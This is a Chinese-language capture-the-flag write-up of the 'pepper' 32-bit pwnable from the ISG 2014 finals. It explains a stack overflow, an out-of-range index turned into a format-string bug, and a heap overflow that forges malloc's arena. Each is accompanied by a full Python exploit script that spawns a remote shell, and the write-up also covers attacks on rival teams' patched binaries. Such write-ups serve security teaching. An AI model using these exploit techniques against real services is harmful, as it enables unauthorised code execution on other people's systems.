almost 4 years ago

這題是 ISG 2014 決賽的 pwnable 題,binary 不大但有多個漏洞。32bit dynamic linked,因此要找漏洞還是 patch 都比較容易。以下 exploit 的順序跟比賽中寫出的順序相同。

Stack Overflow in 31337

隱藏選項 31337 使用位於 0x08048F67 的函式,裡面的 scanf 會造成溢出。先洩漏 libc base 後回 0x08048F67,再溢出一次拿 shell。這份 exploit 用了 pwntools

#!/usr/bin/env python

from pwn import *
from pwnlib.log import *

target_ip = sys.argv[1]
context(os='linux', arch='i386',log_level=20)

elf = ELF('./pepper')
libc = ELF('./libc.so.6')
r = remote(target_ip, 1111)

r.recvuntil('Your choice: ')
r.send('31337\n')
r.recvuntil('Leave your message: ')

secret = 0x08048F67
buf = 0x0804F6F0

r.send('*'*0x70 + p32(elf.symbols['puts']) + p32(secret) + p32(elf.got['atoi']) + '\n')

r.recvuntil('We got that. Thanks.\n')
libc_base = u32(r.recv()[0:4]) - libc.symbols['atoi']

info('libc_base = %x' % libc_base)
libc.address += libc_base

r.send('*'*0x70 + p32(libc.symbols['gets']) + p32(libc.symbols['system']) + p32(buf) + p32(buf) + ' ')
sleep(0.5)
r.send('sh\n')
r.recvuntil('We got that. Thanks.\n')

r.interactive()

Index of Restaurant is Out of Range

包含了 2 號功能 show 和 5 號功能 edit,都沒有檢查輸入 index 的範圍。使用 show(index=-3) 時 "Rest. address: No. %d" 會洩漏 got.plt 上的 __libc_start_main 位址,可以算出 libc base。

不過以下的 exploit 不需要 show 功能的洩漏。直接使用 edit 功能,在 index=-2 時,"New Score" 會蓋掉 memset 在 got.plt 上的欄位。把它改成 printf 的位址,這樣 3 號 delete 功能裡使用 memset 時會得到一個 format string 漏洞,而且只要重覆 add/delete 便可以無限次的使用。

Format string 漏洞在無法控制 stack 上內容的情況下,是無法做任意讀寫的,因為要讀寫的目標位址在 stack 上找不到。這裡用了三段式 format string,利用的是 stack 上必然會有的 argv, argv[0]argv[0] 字串本身。這三個值都會在 stack 上,即 format string 使用 %x 或 %n 可以碰觸的範圍。

  1. 對 &argv 寫,可以控制 argv[0] 的最低位 (+x)。
  2. 對 &argv[0] 寫入,可以在 argv[0] 處寫入 1 byte,搭配 1. 即可在 stack 上寫入連續的 4 bytes。
  3. 對 2. 中寫好的 4 bytes (=target) 寫入,即可對目標處寫入 1 byte,重覆 2. 3. 即可達到任意寫入。

要注意的是 2. 中 argv[0]+x 的值必需對齊 4 bytes,否則寫入的 target 沒辦法被 format string 使用。底下的 exploit 先把 __libc_start_main 在 got.plt 上的位址寫在 stack 上,用 %x 洩漏其內容算出 libc base,再寫回 strlen 然後把該欄位改成 system。最後使用 31337 功能,輸入的字串就會被傳入 system。

#!/usr/bin/env python


from pwn import *
from pwnlib.log import *

target_ip = sys.argv[1]
context(os='linux', arch='i386',log_level=20)

r = remote(target_ip, 1111)
elf = ELF('./pepper')
libc = ELF('./libc.so.6')

def fmt(x):
  r.recvuntil('Your choice: ')
  r.send('4\n')
  r.send(x+'\n')
  r.send('\n')
  r.send('\n')
  r.send('\n')
  r.send('\n')
  r.recvuntil('Your choice: ')
  r.send('3\n')
  r.send('0\n')
  x = r.recvuntil('Successfully delete it.')
  l = re.findall('\[\[(.*)\]\]',x)
  if len(l)>0:
    return l[0]
  return None

r.recvuntil('Your choice: ')
r.send('5\n')
r.send('-2\n')
r.send(str(elf.symbols['printf'])+'\n')
r.send('n\n')

info(fmt('[[%14$s]]').encode('hex'))
buf = int(fmt('[[%14$x]]'),16)
addr = int(fmt('[[%63$x]]'),16)
addr = 4*((addr+3)/4)
offset = (addr - buf)/4 + 63
info('buf = %x, addr = %x, offset = %d' % (buf,addr,offset))

strlen_got = elf.got['strlen']

fmt('%%%dc%%14$hhn' % ((addr+1)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>8)&0xff))
fmt('%%%dc%%14$hhn' % ((addr+2)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>16)&0xff))
fmt('%%%dc%%14$hhn' % ((addr+3)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>24)&0xff))
fmt('%%%dc%%14$hhn' % ((addr)&0xff))

fmt('%%%dc%%63$hhn' % ((strlen_got+4)&0xff)) # strlen@got.plt + 4 == __libc_start_main@got.plt

libc_base = u32(fmt('[[%%%d$s]]' % offset)[0:4]) - libc.symbols['__libc_start_main'] 
info('libc_base = %x' % libc_base)
system = libc.symbols['system'] + libc_base

fmt('%%%dc%%63$hhn' % ((strlen_got)&0xff))
fmt('%%%dc%%%d$hhn' % ((system)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+1)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>8)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+2)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>16)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+3)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>24)&0xff,offset))

r.recvuntil('Your choice: ')
r.send('31337\n')
r.recvuntil('Leave your message: ')
r.send('sh\n')
r.interactive()

Heap Overflow in Edit

第三個 exploit,利用的是 edit 功能裡的 heap overflow,改變 description 時可以重新輸入長度但沒有重新 malloc,因此可以造成溢出。Dr.Mario 隊伍使用 fastbin corrupt 的技巧,猜測目的是改寫 chunk 上的指標使得 malloc 時得到的指標指向 .data 上存放 restaurant 的結構,覆寫結構後再利用。

我們做法的最終目的類似,拿到某個 restaurant 的結構後寫掉存放 description 的指標,再用 edit 達成任意寫入。而我們前半對 heap overflow 的利用方式,是寫掉指向 main_arena 的指標,main_arena 內放的是 heap 的結構,也包括 fastbin。寫掉指向 main_arena 的指標,改到可控內容的位址,便可以偽造 fastbin,使下次 malloc 得到我們想要的位址。在 32 bit 中指向 main_arena 的指標存放在 libc 的前一個 page。

0804c000-08050000 rw-p 00000000 00:00 0
0935e000-0937f000 rw-p 00000000 00:00 0             [heap]
f7595000-f7596000 rw-p 00000000 00:00 0   <- last mmap()
f7596000-f773c000 r-xp 00000000 08:01 786443        /lib32/libc-2.19.so
f773c000-f773e000 r--p 001a5000 08:01 786443        /lib32/libc-2.19.so
f773e000-f773f000 rw-p 001a7000 08:01 786443        /lib32/libc-2.19.so

0xf75956b0:     0x00000000      0xf773e8a0      0xf7740fc0      0x00000000
0xf75956c0:     0xf76defa0      0xf76de9a0      0xf76df8a0      0x00000000
0xf75956d0:     0x00000000      0x00000000      0xf773e420      0x00000000
                                                ^^^^^^^^^^ 指向 main_arena
                                                
                                                vvvvvvvvvv fastbin[0]
0xf773e420:     0x00000000      0x00000000      0x0935e000      0x00000000
0xf773e430:     0x00000000      0x00000000      0x00000000      0x00000000
0xf773e440:     0x00000000      0x00000000      0x00000000      0x00000000                                                

malloc 大於 128K 的記憶體時,libc 裡的實作改用 mmap,這會使這次 malloc 的位址貼在上次 mmap 前,因此溢出時可以寫到有 main_arena 指標的這個 page 上。該指標 offset = 0x6d8,在這之前有一些變量的值必需保留,否則會出錯。這些變量的值都是跟 libc base 相對的,因此先用 show 洩漏 libc base 後就可以算出這些變量的正確值。

把 fastbin[0] 指向 restaurant[1],這樣下次 malloc 時會得到 restaurant[1]+8,即 description 的位址。另外為了通過 malloc 時的檢查,需預先設好 restaurant[1] 的 description length (對應 chunk size)。

#!/usr/bin/env python3

import sys
import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,6)
s.connect((sys.argv[1],1111))
f = s.makefile('rwb')

def utl(key):
    while True:
        l = f.readline()
        if key in l:
            return l

def send(data):
    f.write(data + b'\n')
    f.flush()

def I(a):
    return struct.pack('I',a)

def N(a):
    return struct.unpack('I',a)[0]

# 利用 __libc_start_main 洩漏 libc base

utl(b'============================\n')
send(b'2')
send(b'-3')
libc = (int(utl(b'Rest. address: No.').split(b' ')[3]) & 0xFFFFFFFF) - 0x19970
print('libc = '+ hex(libc))

# add restaurant[0],貼在 main_arena 指標所在的 page 前

utl(b'============================\n')
send(b'4') 
send(b'1')
send(b'1')
send(b'1')
send(b'131063') # 128*1024 - 8 (chunk header)  - 1 (malloc 時多 1 byte)

send(b'1')
send(b'1')

# add restaurant[1]

utl(b'============================\n')
send(b'4') 
send(b'1')
send(b'1')
send(b'1')
send(b'18') # 偽造 chunk 的 size,需設定正確否則無法通過 malloc 中的檢查

send(b'1')
send(b'1')

# overflow restaurant[0]

utl(b'============================\n')
send(b'5') 
send(b'0')
send(b'1')
send(b'y')
send(b'148793')
pre = I(0x0) + I(0x0) + I(0x804B0A0 + 52) # 偽造的 main_arena,第三個 dword 即偽造的 fastbin[0]

head = pre + b'a' * (131064 - len(pre)) # 填充 malloc 得到的 page

send(head + b'b' * 0x1000 + b'\0' * 0x6B4 + 
    I(libc + 0x1a88a0) + I(libc + 0x1aafc0) + I(0x0) + I(libc + 0x148fa0) + 
    I(libc + 0x1489a0) + I(libc + 0x1498a0) + I(0x0) * 3 + 
    I(libc - 0x22000 + 8)) # 偽造的 main_arena 指標,指向 pre 數據的位址


# add restaurant[2],拿出偽造的 fastbin[0] chunk (指向 restaurant[1] 的 description 指標)

utl(b'============================\n')
send(b'4') 
send(b'1')
send(b'1')
send(b'1')
send(b'1') # 這個 size 決定會拿出哪個 fastbin

send(b'1')
send(b'1')

# edit restaurant[2],改寫 restaurant[1] description 指標,指向 strlen@got.plt

utl(b'============================\n')
send(b'5')
send(b'2')
send(b'1')
send(b'y')
send(b'5')
send(I(0x804b02c)) # 


# edit restaurant[1],改寫 strlen@got.plt,寫成 system

utl(b'============================\n')
send(b'5')
send(b'1')
send(b'1')
send(b'y')
send(b'5')
send(I(libc + 0x3fc40))

# 31337 觸發 strlen(=system)

utl(b'============================\n')
send(b'31337')
send(b'sh')
utl(b'We want your advice on Ye1p please.')

t = telnetlib.Telnet()
t.sock = s
t.interact()

Misc

在第二天的比賽中很多漏洞都被修掉了,其中我們發現 11111010 隊伍在 31337 stack overflow 漏洞的行為很奇怪,跑上面 exploit 的輸出,竟然有類似 *** Error in './pepper': free(): invalid pointer: 0x0804b048 *** 的字樣。但原先 rop chain 要執行的是 puts,因此我們猜測有某些未知原因,使得 plt 或 got.plt 上的位址改變了。另外 overflow 的長度也不同,推測是調大 stack frame 了。

因此我們以 p32(addr) + p32(free) + p32(free) 這樣的 rop chain 來猜測 addr 處的內容,在 free 附近掃描後我們得到了 puts 的位址,再利用 puts 把 binary dump 下來,重新找出 31337 功能的位址,使得二度溢出可以實現,接著用同樣的方法 exploit。不過 11111010 反應非常迅速,幾個 round 後便重新調整某些 offset,這個 exploit 並沒有拿到非常多的分數。

此外在 show 裡還有一個 sprintf 的漏洞,會造成 stack overflow 但有 stack guard 保護。我們可以利用 edit 功能修改 .tls 上的 canary,但由於 edit 功能本身也被 stack guard 保護,如果修改 canary 會導致返回時 stack_chk_failed,因此我們在比賽中沒有成功利用這個漏洞。而賽後 Dr.Mario 表示可以改利用 delete 把 canary 寫成 -1,delete 功能沒有 stack guard,這個 sprintf 漏洞還是可以利用的。

← ISG2014 Safesite